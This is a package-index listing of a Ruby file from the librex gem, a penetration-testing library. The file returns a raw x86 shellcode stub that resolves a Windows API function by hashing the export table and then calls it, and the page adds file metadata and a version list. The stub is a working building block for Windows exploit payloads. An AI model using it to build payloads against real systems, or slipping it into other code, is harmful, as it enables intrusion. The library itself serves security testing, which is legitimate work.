Sha256: a72e7771e5eba5a77ee445a63c08157bf2b1bf4381023170a93dfa02ee7ac869

Contents?: true

Size: 600 Bytes

Versions: 43

Compression:

Stored size: 600 Bytes

Contents

module Rex
module Payloads
module Win32

module Common

	#
	# Returns a stub that resolves the location of a symbol and then
	# calls it.  Refer to the following link for more details:
	#
	# http://uninformed.org/index.cgi?v=3&a=4&p=10
	#
	def self.resolve_call_sym
		"\x60\x31\xc9\x8b\x7d\x3c\x8b\x7c\x3d\x78\x01\xef\x8b" +
		"\x57\x20\x01\xea\x8b\x34\x8a\x01\xee\x31\xc0\x99\xac" +
		"\xc1\xca\x0d\x01\xc2\x84\xc0\x75\xf6\x41\x66\x39\xda" +
		"\x75\xe3\x49\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" +
		"\x5f\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c" +
		"\x61\xff\xe0"
	end

end

end
end
end

Version data entries

43 entries across 43 versions & 1 rubygems

Version Path
librex-0.0.65 lib/rex/payloads/win32/common.rb
librex-0.0.63 lib/rex/payloads/win32/common.rb
librex-0.0.54 lib/rex/payloads/win32/common.rb
librex-0.0.53 lib/rex/payloads/win32/common.rb
librex-0.0.52 lib/rex/payloads/win32/common.rb
librex-0.0.51 lib/rex/payloads/win32/common.rb
librex-0.0.50 lib/rex/payloads/win32/common.rb
librex-0.0.49 lib/rex/payloads/win32/common.rb
librex-0.0.48 lib/rex/payloads/win32/common.rb
librex-0.0.47 lib/rex/payloads/win32/common.rb
librex-0.0.46 lib/rex/payloads/win32/common.rb
librex-0.0.44 lib/rex/payloads/win32/common.rb
librex-0.0.43 lib/rex/payloads/win32/common.rb
librex-0.0.42 lib/rex/payloads/win32/common.rb
librex-0.0.41 lib/rex/payloads/win32/common.rb
librex-0.0.40 lib/rex/payloads/win32/common.rb
librex-0.0.39 lib/rex/payloads/win32/common.rb
librex-0.0.38 lib/rex/payloads/win32/common.rb
librex-0.0.37 lib/rex/payloads/win32/common.rb
librex-0.0.36 lib/rex/payloads/win32/common.rb